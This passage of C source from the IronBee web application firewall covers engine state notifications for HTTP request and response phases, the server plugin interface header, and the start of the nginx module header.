IB_LIST_LOOP_CONST(ib->hooks[state], node) { const ib_hook_t *hook = (const ib_hook_t *)node->data; rc = hook->callback.headerdata(ib, tx, state, header->head, hook->cbdata); if (rc == IB_DECLINED) { ib_log_debug_tx(tx, "Hook declined: %s", ib_state_name(state)); } else if (rc != IB_OK) { log_hook_failure(ib, state, rc, hook->callback.headerdata); } } return IB_OK; } static ib_status_t ib_state_notify_txdata(ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, const char *data, size_t data_length) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); assert(data != NULL); const ib_list_node_t *node; ib_status_t rc = ib_hook_check(ib, state, IB_STATE_HOOK_TXDATA); if (rc != IB_OK) { ib_log_error_tx(tx, "Error checking hook for \"%s\": %s", ib_state_name(state), ib_status_to_string(rc)); return rc; } if (ib_logger_level_get(ib_engine_logger_get(ib)) >= 9) { ib_log_debug3_tx(tx, "TX DATA EVENT: %s", ib_state_name(state)); } /* This transaction is now the current (for pipelined). */ tx->conn->tx = tx; if (tx->ctx == NULL) { ib_log_notice_tx(tx, "Connection context is null."); } IB_LIST_LOOP_CONST(ib->hooks[state], node) { const ib_hook_t *hook = (const ib_hook_t *)node->data; rc = hook->callback.txdata(ib, tx, state, data, data_length, hook->cbdata); if (rc == IB_DECLINED) { ib_log_debug_tx(tx, "Hook declined: %s", ib_state_name(state)); } else if (rc != IB_OK) { log_hook_failure(ib, state, rc, hook->callback.txdata); } } return IB_OK; } ib_status_t ib_state_notify_request_header_data(ib_engine_t *ib, ib_tx_t *tx, ib_parsed_headers_t *header) { assert(ib != NULL); assert(tx != NULL); assert(header != NULL); ib_status_t rc; /* Validate. */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_STARTED)) { ib_log_debug_tx(tx, "No request started: Ignoring %s", ib_state_name(request_header_data_state)); return IB_OK; } if (! ib_flags_all(tx->flags, IB_TX_FREQ_HAS_DATA)) { ib_log_debug_tx(tx, "No request data: Ignoring %s", ib_state_name(request_header_data_state)); return IB_OK; } /* Mark the time. */ if (tx->t.request_started == 0) { tx->t.request_started = ib_clock_get_time(); } if ( tx->request_header == NULL ) { tx->request_header = header; } else { rc = ib_parsed_headers_append(tx->request_header, header); if (rc != IB_OK) { return rc; } } /* Notify the engine and any callbacks of the data. */ rc = ib_state_notify_header_data(ib, tx, request_header_data_state, header); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_request_header_finished(ib_engine_t *ib, ib_tx_t *tx) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); ib_status_t rc; /* Validate. */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_STARTED)) { ib_log_debug_tx(tx, "No request started: Ignoring %s", ib_state_name(request_header_finished_state)); return IB_OK; } if (! ib_flags_all(tx->flags, IB_TX_FREQ_HAS_DATA)) { ib_log_debug_tx(tx, "No request data: Ignoring %s", ib_state_name(request_header_finished_state)); return IB_OK; } if (ib_flags_all(tx->flags, IB_TX_FREQ_HEADER)) { ib_log_error_tx(tx, "Attempted to notify previously notified state: %s", ib_state_name(request_header_finished_state)); return IB_EINVAL; } if (!ib_flags_all(tx->flags, IB_TX_FREQ_STARTED)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(request_started_state)); rc = ib_state_notify_request_started(ib, tx, tx->request_line); if (rc != IB_OK) { return rc; } } /* Mark the time. */ tx->t.request_header = ib_clock_get_time(); /// @todo Seems this gets there too late. rc = ib_fctl_meta_add(tx->fctl, IB_STREAM_EOH); if (rc != IB_OK) { return rc; } ib_tx_flags_set(tx, IB_TX_FREQ_HEADER); rc = ib_state_notify_tx(ib, request_header_process_state, tx); if (rc != IB_OK) { return rc; } /* Select the transaction context to use. */ rc = ib_ctxsel_select_context(ib, tx->conn, tx, &tx->ctx); if (rc != IB_OK) { return rc; } rc = ib_state_notify_tx(ib, handle_context_tx_state, tx); if (rc != IB_OK) { return rc; } rc = ib_state_notify_tx(ib, request_header_finished_state, tx); if (rc != IB_OK) { return rc; } /* Notify the engine and any callbacks of the data. */ rc = ib_state_notify_tx(ib, handle_request_header_state, tx); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_request_body_data(ib_engine_t *ib, ib_tx_t *tx, const char *data, size_t data_length) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); assert(data != NULL); ib_status_t rc; /* Validate. */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_STARTED)) { ib_log_debug_tx(tx, "No request started: Ignoring %s", ib_state_name(request_body_data_state)); return IB_OK; } if (! ib_flags_all(tx->flags, IB_TX_FREQ_HAS_DATA)) { ib_log_debug_tx(tx, "No request data: Ignoring %s", ib_state_name(request_body_data_state)); return IB_OK; } /* We should never get NULL data. */ if ( (data == NULL) || (data_length == 0) ) { ib_log_debug_tx(tx, "Request body data with no data. Ignoring."); return IB_OK; } if (! ib_flags_all(tx->flags, IB_TX_FREQ_LINE)) { if (tx->request_line == NULL) { ib_log_error_tx(tx, "Request has no request line."); return IB_EINVAL; } rc = ib_state_notify_request_started(ib, tx, tx->request_line); if (rc != IB_OK) { return rc; } rc = ib_state_notify_request_header_finished(ib, tx); if (rc != IB_OK) { return rc; } } /* Note that we have request data. */ ib_tx_flags_set(tx, IB_TX_FREQ_HAS_DATA); /* Validate. */ if (!ib_flags_all(tx->flags, IB_TX_FREQ_HEADER)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(request_header_finished_state)); ib_state_notify_request_header_finished(ib, tx); } /* On the first call, record the time and mark that there is a body. */ if (tx->t.request_body == 0) { tx->t.request_body = ib_clock_get_time(); ib_tx_flags_set(tx, IB_TX_FREQ_BODY); } /* Notify the engine and any callbacks of the data. */ rc = ib_state_notify_txdata(ib, tx, request_body_data_state, data, data_length); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_request_finished(ib_engine_t *ib, ib_tx_t *tx) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); ib_status_t rc; /* Validate. */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_STARTED)) { ib_log_debug_tx(tx, "No request started: Ignoring %s", ib_state_name(request_finished_state)); return IB_OK; } if (! ib_flags_any(tx->flags, IB_TX_FREQ_STARTED)) { ib_log_debug_tx(tx, "No request started: Ignoring %s", ib_state_name(request_finished_state)); return IB_OK; } if (ib_flags_all(tx->flags, IB_TX_FREQ_FINISHED)) { ib_log_error_tx(tx, "Attempted to notify previously notified state: %s", ib_state_name(request_finished_state)); return IB_EINVAL; } if (!ib_flags_all(tx->flags, IB_TX_FREQ_HEADER)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(request_header_finished_state)); ib_state_notify_request_header_finished(ib, tx); } /* Mark the time. */ tx->t.request_finished = ib_clock_get_time(); /* Notify filters of the end-of-body (EOB) if there was a body. */ if (ib_flags_all(tx->flags, IB_TX_FREQ_BODY) != 0) { rc = ib_fctl_meta_add(tx->fctl, IB_STREAM_EOB); if (rc != IB_OK) { return rc; } } /* Notify filters of the end-of-stream (EOS). */ rc = ib_fctl_meta_add(tx->fctl, IB_STREAM_EOS); if (rc != IB_OK) { return rc; } ib_tx_flags_set(tx, IB_TX_FREQ_FINISHED); rc = ib_state_notify_tx(ib, request_finished_state, tx); if (rc != IB_OK) { return rc; } rc = ib_state_notify_tx(ib, handle_request_state, tx); if (rc != IB_OK) { return rc; } rc = ib_state_notify_tx(ib, tx_process_state, tx); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_response_started(ib_engine_t *ib, ib_tx_t *tx, ib_parsed_resp_line_t *line) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); ib_status_t rc; /* Validate. */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_STARTED)) { ib_log_debug_tx(tx, "No request started: Ignoring %s", ib_state_name(response_started_state)); return IB_OK; } if (! ib_flags_all(tx->flags, IB_TX_FREQ_HAS_DATA)) { ib_log_debug_tx(tx, "No request data: Ignoring %s", ib_state_name(response_started_state)); return IB_OK; } tx->t.response_started = ib_clock_get_time(); /* Validate. */ if (ib_flags_all(tx->flags, IB_TX_FRES_STARTED)) { ib_log_error_tx(tx, "Attempted to notify previously notified state: %s", ib_state_name(response_started_state)); return IB_EINVAL; } /* If the request was started, but not finished, notify it now */ if ( ib_flags_all(tx->flags, IB_TX_FREQ_STARTED) && !ib_flags_all(tx->flags, IB_TX_FREQ_FINISHED)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(request_finished_state)); ib_state_notify_request_finished(ib, tx); } /* Mark the time. */ tx->t.response_started = ib_clock_get_time(); ib_tx_flags_set(tx, IB_TX_FRES_STARTED); /* Notify the world about it */ rc = ib_state_notify_resp_line(ib, tx, response_started_state, line); if (rc != IB_OK) { return rc; } /* Record if we saw a line. */ if ( (line != NULL) && (line->raw != NULL) && (ib_bytestr_const_ptr(line->raw) != NULL) ) { ib_tx_flags_set(tx, IB_TX_FRES_HAS_DATA); ib_tx_flags_set(tx, IB_TX_FRES_LINE); } return IB_OK; } ib_status_t ib_state_notify_response_header_data(ib_engine_t *ib, ib_tx_t *tx, ib_parsed_headers_t *header) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); assert(header != NULL); ib_status_t rc; /* Validate. */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_HAS_DATA)) { ib_log_debug_tx(tx, "No request data: Ignoring %s", ib_state_name(response_header_data_state)); return IB_OK; } /* Mark the time. */ if (tx->t.response_started == 0) { tx->t.response_started = ib_clock_get_time(); } if ( tx->response_header == NULL ) { tx->response_header = header; } else { rc = ib_parsed_headers_append(tx->response_header, header); if (rc != IB_OK) { return rc; } } /* Notify the engine and any callbacks of the data. */ rc = ib_state_notify_header_data( ib, tx, response_header_data_state, header); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_response_header_finished(ib_engine_t *ib, ib_tx_t *tx) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); ib_status_t rc; /* Check for data first. */ if (!ib_flags_all(tx->flags, IB_TX_FREQ_HAS_DATA)) { ib_log_debug_tx(tx, "No request data: Ignoring %s", ib_state_name(response_header_finished_state)); return IB_OK; } /* Generate the response line state if it hasn't been seen */ if (! ib_flags_all(tx->flags, IB_TX_FRES_STARTED)) { /* For HTTP/0.9 there is no response line, so this is normal, but * for others this is not normal and should be logged. */ if (!ib_flags_all(tx->flags, IB_TX_FHTTP09)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(response_started_state)); } rc = ib_state_notify_response_started(ib, tx, NULL); if (rc != IB_OK) { return rc; } } /* Validate. */ if (ib_flags_all(tx->flags, IB_TX_FRES_HEADER)) { ib_log_error_tx(tx, "Attempted to notify previously notified state: %s", ib_state_name(response_header_finished_state)); return IB_EINVAL; } if (!ib_flags_all(tx->flags, IB_TX_FRES_STARTED)) { /* For HTTP/0.9 there are no response headers, so this is normal, but * for others this is not normal and should be logged. */ if (!ib_flags_all(tx->flags, IB_TX_FHTTP09)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(response_started_state)); if (tx->response_line == NULL) { ib_log_notice_tx(tx, "Attempted to notify response header finished" " before response started."); return IB_EINVAL; } } rc = ib_state_notify_response_started(ib, tx, tx->response_line); if (rc != IB_OK) { return rc; } } /* Mark the time. */ tx->t.response_header = ib_clock_get_time(); ib_tx_flags_set(tx, IB_TX_FRES_HEADER); rc = ib_state_notify_tx(ib, response_header_finished_state, tx); if (rc != IB_OK) { return rc; } /* Notify the engine and any callbacks of the data. */ rc = ib_state_notify_tx(ib, handle_response_header_state, tx); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_response_body_data(ib_engine_t *ib, ib_tx_t *tx, const char *data, size_t data_length) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); assert(data != NULL); ib_status_t rc; /* Check for data first. */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_HAS_DATA)) { ib_log_debug_tx(tx, "No request data: Ignoring %s", ib_state_name(response_body_data_state)); return IB_OK; } /* We should never get empty data */ if ( (data == NULL) || (data_length == 0) ) { ib_log_debug_tx(tx, "Response body data with no data. Ignoring."); return IB_OK; } /* Validate the header has already been seen. */ if (! ib_flags_all(tx->flags, IB_TX_FRES_HEADER)) { /* For HTTP/0.9 there are no response headers, so this is normal, but * for others this is not normal and should be logged. */ if (!ib_flags_all(tx->flags, IB_TX_FHTTP09)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(response_header_finished_state)); if (tx->response_line == NULL) { ib_log_notice_tx(tx, "Attempted to notify response body data" " before response started."); return IB_EINVAL; } } rc = ib_state_notify_response_header_finished(ib, tx); if (rc != IB_OK) { return rc; } } /* On the first call, record the time and mark that there is a body. */ if (tx->t.response_body == 0) { tx->t.response_body = ib_clock_get_time(); ib_tx_flags_set(tx, IB_TX_FRES_HAS_DATA); ib_tx_flags_set(tx, IB_TX_FRES_BODY); } /* Notify the engine and any callbacks of the data. */ rc = ib_state_notify_txdata(ib, tx, response_body_data_state, data, data_length); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_response_finished(ib_engine_t *ib, ib_tx_t *tx) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); ib_status_t rc; /* Check for response started first. */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_HAS_DATA)) { ib_log_debug_tx(tx, "No request data: Ignoring %s", ib_state_name(response_finished_state)); return IB_OK; } if (!ib_flags_any(tx->flags, IB_TX_FRES_STARTED)) { ib_log_debug_tx(tx, "No response started: Ignoring %s", ib_state_name(response_finished_state)); return IB_OK; } if (ib_flags_all(tx->flags, IB_TX_FRES_FINISHED)) { ib_log_error_tx(tx, "Attempted to notify previously notified state: %s", ib_state_name(response_finished_state)); return IB_EINVAL; } if (!ib_flags_all(tx->flags, IB_TX_FRES_HEADER)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(response_header_finished_state)); ib_state_notify_response_header_finished(ib, tx); } /* Mark the time. */ tx->t.response_finished = ib_clock_get_time(); ib_tx_flags_set(tx, IB_TX_FRES_FINISHED); rc = ib_state_notify_tx(ib, response_finished_state, tx); if (rc != IB_OK) { return rc; } rc = ib_state_notify_tx(ib, handle_response_state, tx); if (rc != IB_OK) { return rc; } if (! ib_flags_all(tx->flags, IB_TX_FPOSTPROCESS)) { rc = ib_state_notify_postprocess(ib, tx); if (rc != IB_OK) { return rc; } } if (! ib_flags_all(tx->flags, IB_TX_FLOGGING)) { rc = ib_state_notify_logging(ib, tx); if (rc != IB_OK) { return rc; } } /* Mark the time. */ tx->t.finished = ib_clock_get_time(); rc = ib_state_notify_tx(ib, tx_finished_state, tx); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_postprocess(ib_engine_t *ib, ib_tx_t *tx) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); ib_status_t rc; if (ib_flags_all(tx->flags, IB_TX_FPOSTPROCESS)) { ib_log_error_tx(tx, "Attempted to notify previously notified state: %s", ib_state_name(handle_postprocess_state)); return IB_EINVAL; } /* Mark time. */ tx->t.postprocess = ib_clock_get_time(); ib_tx_flags_set(tx, IB_TX_FPOSTPROCESS); rc = ib_state_notify_tx(ib, handle_postprocess_state, tx); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_logging(ib_engine_t *ib, ib_tx_t *tx) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); ib_status_t rc; if (ib_flags_all(tx->flags, IB_TX_FLOGGING)) { ib_log_error_tx(tx, "Attempted to notify previously notified state: %s", ib_state_name(handle_logging_state)); return IB_EINVAL; } ib_tx_flags_set(tx, IB_TX_FLOGGING); rc = ib_state_notify_tx(ib, handle_logging_state, tx); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_logevent(ib_engine_t *ib, ib_tx_t *tx) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); ib_status_t rc; rc = ib_state_notify_tx(ib, handle_logevent_state, tx); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_context_open(ib_engine_t *ib, ib_context_t *ctx) { assert(ib != NULL); assert(ctx != NULL); ib_status_t rc; rc = ib_state_notify_context(ib, ctx, context_open_state); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_context_close(ib_engine_t *ib, ib_context_t *ctx) { assert(ib != NULL); assert(ctx != NULL); ib_status_t rc; rc = ib_state_notify_context(ib, ctx, context_close_state); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_context_destroy(ib_engine_t *ib, ib_context_t *ctx) { assert(ib != NULL); assert(ctx != NULL); ib_status_t rc; rc = ib_state_notify_context(ib, ctx, context_destroy_state); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_engine_shutdown_initiated(ib_engine_t *ib) { assert(ib != NULL); ib_status_t rc; ib_log_info(ib, "IronBee engine shutdown requested."); rc = ib_state_notify_null(ib, engine_shutdown_initiated_state); if (rc != IB_OK) { return rc; } return IB_OK; }
crustymonkey/ironbee
include/ironbee/server.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_SERVER_H_ #define _IB_SERVER_H_ /** * @file * @brief IronBee --- Ironbee as a server plugin * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include <ironbee/engine_types.h> #include <ironbee/release.h> #include <ironbee/types.h> #include <stdint.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup IronBeeServer Server Plugins * @ingroup IronBee * * A server plugin defines how data is given to IronBee. * * @{ */ #define IB_SERVER_HEADER_DEFAULTS IB_VERNUM, \ IB_ABINUM, \ IB_VERSION, \ __FILE__ /** Server plugin Structure */ typedef struct ib_server_t ib_server_t; /* Request vs Response, for functions likely to share code */ typedef enum { IB_SERVER_REQUEST = 0x01, IB_SERVER_RESPONSE = 0x02 } ib_server_direction_t; /* Functions to modify HTTP Request/Response Header * * We support header actions as in httpd's mod_headers, with semantics * as documented at * http://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader * * We exclude the "edit" option on the premise that Ironbee will perform * any such operation internally and use set/append/merge/add/unset * * We add options for the webserver plugin can signal to Ironbee * that it has failed to process an instruction. */ typedef enum { IB_HDR_SET, /**< Remove other values of the header and add this one. */ IB_HDR_APPEND, /**< Append the header. */ IB_HDR_MERGE, /**< Append unless the header value already exists. */ IB_HDR_ADD, /**< Add the header. */ IB_HDR_UNSET, /**< Unset the header. */ } ib_server_header_action_t; /** * Set server error status code. * * @param[in] tx The transaction. * @param[in] status The status code. * @param[in] cbdata Callback data. */ typedef ib_status_t (*ib_server_error_fn_t)( ib_tx_t *tx, int status, void *cbdata ); /** * Set server error header. * * @param[in] tx The transaction. * @param[in] name Name of header. * @param[in] name_length Length of @a name. * @param[in] value value of header. * @param[in] value_length Length of @a value. * @param[in] cbdata Callback data. */ typedef ib_status_t (*ib_server_error_hdr_fn_t)( ib_tx_t *tx, const char *name, size_t name_length, const char *value, size_t value_length, void *cbdata ); /** * Set server error data. * * @param[in] tx The transaction. * @param[in] data The data to set. * @param[in] dlen The data length to be copied, starting at index 0. * @param[in] cbdata Callback data. */ typedef ib_status_t (*ib_server_error_data_fn_t)( ib_tx_t *tx, const char *data, size_t dlen, void *cbdata ); /** * Have server edit the body. * * @param[in] tx The transaction. * @param[in] dir The direction. * @param[in] start Start of text to replace. * @param[in] bytes Length of text to replace. * @param[in] repl Replacement text. * @param[in] repl_len Length of @a repl. * @param[in] cbdata Callback data. */ typedef ib_status_t (*ib_server_body_edit_fn_t)( ib_tx_t *tx, ib_server_direction_t dir, off_t start, size_t bytes, const char *repl, size_t repl_len, void *cbdata ); /** * Set a server header. * * @param[in] tx The transaction. * @param[in] dir The direction. * @param[in] action The action determining how to add the header. * @param[in] name Name of header. * @param[in] name_length Length of @a name. * @param[in] value value of header. * @param[in] value_length Length of @a value. * @param[in] cbdata Callback data. */ typedef ib_status_t (*ib_server_header_fn_t)( ib_tx_t *tx, ib_server_direction_t dir, ib_server_header_action_t action, const char *name, size_t name_length, const char *value, size_t value_length, void *cbdata ); /** * Close the given connection. * * @param[in] conn Connection to close. * @param[in] tx Transaction that the connection is in. * There are situations where tx may be NULL. * Implementers should expect to close a * connection when there is no associated transaction. * @param[in] cbdata Callback data. * * @returns * - IB_OK on success. * - IB_DECLINED if the server cannot honor this request. */ typedef ib_status_t (*ib_server_close_fn_t)( ib_conn_t *conn, ib_tx_t *tx, void *cbdata ); #ifdef HAVE_FILTER_DATA_API typedef ib_status_t (*ib_server_filter_init_fn_t)( ib_tx_t *tx, ib_server_direction_t dir, void *cbdata ); typedef ib_status_t (*ib_server_filter_data_fn_t)( ib_tx_t *tx, ib_server_direction_t dir, const char *block, size_t len, void *cbdata ); #endif /* HAVE_FILTER_DATA_API */ struct ib_server_t { /* Header */ uint32_t vernum; /**< Engine version number */ uint32_t abinum; /**< Engine ABI Number */ const char *version; /**< Engine version string */ const char *filename; /**< Plugin code filename */ const char *name; /**< Unique plugin name */ /** * Function to tell host server to do something to an HTTP header. */ ib_server_header_fn_t hdr_fn; /** Callback data for hdr_fn */ void *hdr_data; /** * Function to communicate an error response/action to host server. */ ib_server_error_fn_t err_fn; /** Callback data for err_fn */ void *err_data; /** * Function to communicate an error response header to host server. */ ib_server_error_hdr_fn_t err_hdr_fn; /** Callback data for err_hdr_fn */ void *err_hdr_data; /** * Function to communicate an error response body to host server. */ ib_server_error_data_fn_t err_body_fn; /** Callback data for err_body_fn */ void *err_body_data; /** Close connection. */ ib_server_close_fn_t close_fn; /** Callback data for close_fn. */ void *close_data; ib_server_body_edit_fn_t body_edit_fn; void *body_edit_data; #ifdef HAVE_FILTER_DATA_API /** Initialize data filtering */ ib_server_filter_init_fn_t init_fn; /** Callback data for init_fn */ void *init_data; /** Pass filtered data chunk to caller */ ib_server_filter_data_fn_t data_fn; /** Callback data for data_fn */ void *data_data; #endif }; /** * Function to indicate an error. * Status argument is an HTTP response code, or a special value * * In the first instance, the server takes responsibility for the * error document, and the data (if non-null) gives the errordoc. * * In the second instance, the server takes an enumerated special * action, or returns NOTIMPL if that's not supported. * * @param[in] svr The @ref ib_server_t * @param[in] tx Transaction * @param[in] status Status code * @return indication of whether the requested error action is supported */ ib_status_t DLL_PUBLIC ib_server_error_response( const ib_server_t *svr, ib_tx_t *tx, int status ); /** * Function to set an HTTP header in an error response. * Any values set here will only take effect if an HTTP response * code is also set using ib_server_error_response. * * @param[in] svr The @ref ib_server_t * @param[in] tx Transaction object * @param[in] name Name of header. * @param[in] name_length Length of @a name. * @param[in] value value of header. * @param[in] value_length Length of @a value. * @return indication of whether the requested error action is supported */ ib_status_t DLL_PUBLIC ib_server_error_header( const ib_server_t *svr, ib_tx_t *tx, const char *name, size_t name_length, const char *value, size_t value_length ); /** * Function to set an error response body. * Any values set here will only take effect if an HTTP response * code is also set using ib_server_error_response. * * @param[in] svr The @ref ib_server_t * @param[in] tx Transaction object. * @param[in] data Response to set * @param[in] dlen Length of @a data * @return indication of whether the requested error action is supported */ ib_status_t DLL_PUBLIC ib_server_error_body( const ib_server_t *svr, ib_tx_t *tx, const char *data, size_t dlen ); /** * Function to modify HTTP Request/Response Header * * We support header actions as in httpd's mod_headers, with semantics * as documented at * http://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader * * We exclude the "edit" option on the premise that Ironbee will perform * any such operation internally and use set/append/merge/add/unset * * @param[in] svr The @ref ib_server_t * @param[in] tx Transaction * @param[in] dir Request or Response * @param[in] action Action requested * @param[in] name Name of header. * @param[in] name_length Length of @a name. * @param[in] value value of header. * @param[in] value_length Length of @a value. * @return Success or error. */ ib_status_t DLL_PUBLIC ib_server_header( const ib_server_t *svr, ib_tx_t *tx, ib_server_direction_t dir, ib_server_header_action_t action, const char *name, size_t name_length, const char *value, size_t value_length ); /** * Close the given connection. * * @param[in] svr The @ref ib_server_t * @param[in] conn Connection to close. * @param[in] tx Transaction that the connection is in. * There are situations where tx may be NULL. * Implementers should expect to close a * connection when there is no associated transaction. * * @returns * - IB_OK on success. * - IB_DECLINED if the server cannot honor this request. */ ib_status_t DLL_PUBLIC ib_server_close( const ib_server_t *svr, ib_conn_t *conn, ib_tx_t *tx ); /** * Edit the body. * * @param[in] svr The @ref ib_server_t * @param[in] tx The transaction. * @param[in] dir The direction. * @param[in] start Start of text to replace. * @param[in] bytes Length of text to replace. * @param[in] repl Replacement text. * @param[in] repl_len Length of @a repl. * * @returns * - IB_OK on success. * - IB_DECLINED if the server cannot honor this request. */ ib_status_t DLL_PUBLIC ib_server_body_edit( const ib_server_t *svr, ib_tx_t *tx, ib_server_direction_t dir, off_t start, size_t bytes, const char *repl, size_t repl_len ); #ifdef HAVE_FILTER_DATA_API /** * Ironbee should signal in advance to the server if it may modify * a request, so the server can avoid filtering complexity/overheads if * it knows nothing will change. Server will indicate whether it supports * modifying the payload (and may differ between Requests and Responses). * * If Ironbee is filtering a payload, the server will regard Ironbee as * consuming its entire input, and generating the entire payload as * output in blocks. * * @param[in] svr The @ref ib_server_t * @param[in] ctx Application pointer from the server * @param[in] dir Request or Response * @return Indication of whether the action is supported and will happen. */ ib_status_t DLL_PUBLIC ib_server_filter_init( const ib_server_t *svr, void *ctx, ib_direction_t dir ); /** * Filtered data should only be passed if ib_server_filter_init returned IB_OK. * * @param[in] svr The @ref ib_server_t * @param[in] ctx Application pointer from the server * @param[in] dir Request or Response * @param[in] data Data chunk * @param[in] len Length of chunk * @return Success or error */ ib_status_t DLL_PUBLIC ib_server_filter_data( const ib_server_t *svr, void *ctx, ib_direction_t dir, const char *block, size_t len ); #endif /* HAVE_FILTER_DATA_API */ /** * @} IronBeeServer */ #ifdef __cplusplus } #endif #endif /* _IB_SERVER_H_ */
crustymonkey/ironbee
servers/nginx/ngx_ironbee.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- nginx 1.3 module * * @author <NAME> <<EMAIL>> */ #ifndef NGXIB_H #define NGXIB_H #include <ngx_http.h> #include <ironbee/config.h> #include <ironbee/engine_state.h> #include <ironbee/engine_types.h> #include <ironbee/engine.h> /* HTTP statuses we'll support when IronBee asks us to return them */ #define STATUS_IS_ERROR(code) ( ((code) >= 200) && ((code) < 600) ) /* Placeholder for generic conversion of an IronBee error to an nginx error */ #define IB2NG(x) x /* A struct used to track a connection across requests (required because * there's no connection API in nginx). */ typedef struct ngxib_conn_t ngxib_conn_t; /* Buffering status for request/response bodies */ typedef enum { IOBUF_NOBUF, IOBUF_DISCARD, IOBUF_BUFFER_ALL, IOBUF_BUFFER_FLUSHALL, IOBUF_BUFFER_FLUSHPART } iobuf_t; #define IOBUF_BUFFERED(x) (((x) == IOBUF_BUFFER_ALL) || ((x) == IOBUF_BUFFER_FLUSHALL) || ((x) == IOBUF_BUFFER_FLUSHPART)) /* The main per-request record for the plugin */ typedef struct ngxib_req_ctx { ngx_http_request_t *r; /* The nginx request struct */ ngxib_conn_t *conn; /* Connection tracking */ ib_tx_t *tx; /* The IronBee request struct */ int status; /* Request status set by ironbee */ iobuf_t output_buffering; /* Output buffer management */ ngx_chain_t *response_buf; /* Output buffer management */ ngx_chain_t *response_ptr; /* Output buffer management */ size_t output_buffered; /* Output buffer management */ size_t output_limit; /* Output buffer management */ int body_done:1; /* State flags */ int body_wait:1; /* State flags */ int has_request_body:1; /* State flags */ int tested_request_body:1; /* State flags */ int output_filter_init:1; /* State flags */ int output_filter_done:1; /* State flags */ int hdrs_in:1; /* State flags */ int hdrs_out:1; /* State flags */ int start_response:1; /* State flags */ int internal_errordoc:1; /* State flags */ } ngxib_req_ctx; /** * Acquire an IronBee engine * * @param[out] pengine Pointer to acquired engine * @param[in] log Nginx log object * * @returns Status code */ ib_status_t ngxib_acquire_engine( ib_engine_t **pengine, ngx_log_t *log ); /** * Release an IronBee engine * * @param[in] engine Engine to release * @param[in] log Nginx log object * * @returns Status code */ ib_status_t ngxib_release_engine( ib_engine_t *engine, ngx_log_t *log ); /** * function to return the ironbee connection rec after ensuring it exists * * Determine whether a connection is known to IronBee. If yes, retrieve it; * if no then initialize it and retrieve it. * * This function will acquire an engine from the engine manager if required. * * Since nginx has no connection API, we have to hook into each request. * This function looks to see if the IronBee connection rec has already * been initialized, and if so returns it. If it doesn't yet exist, * it will be created and IronBee notified of the new connection. * A cleanup is added to 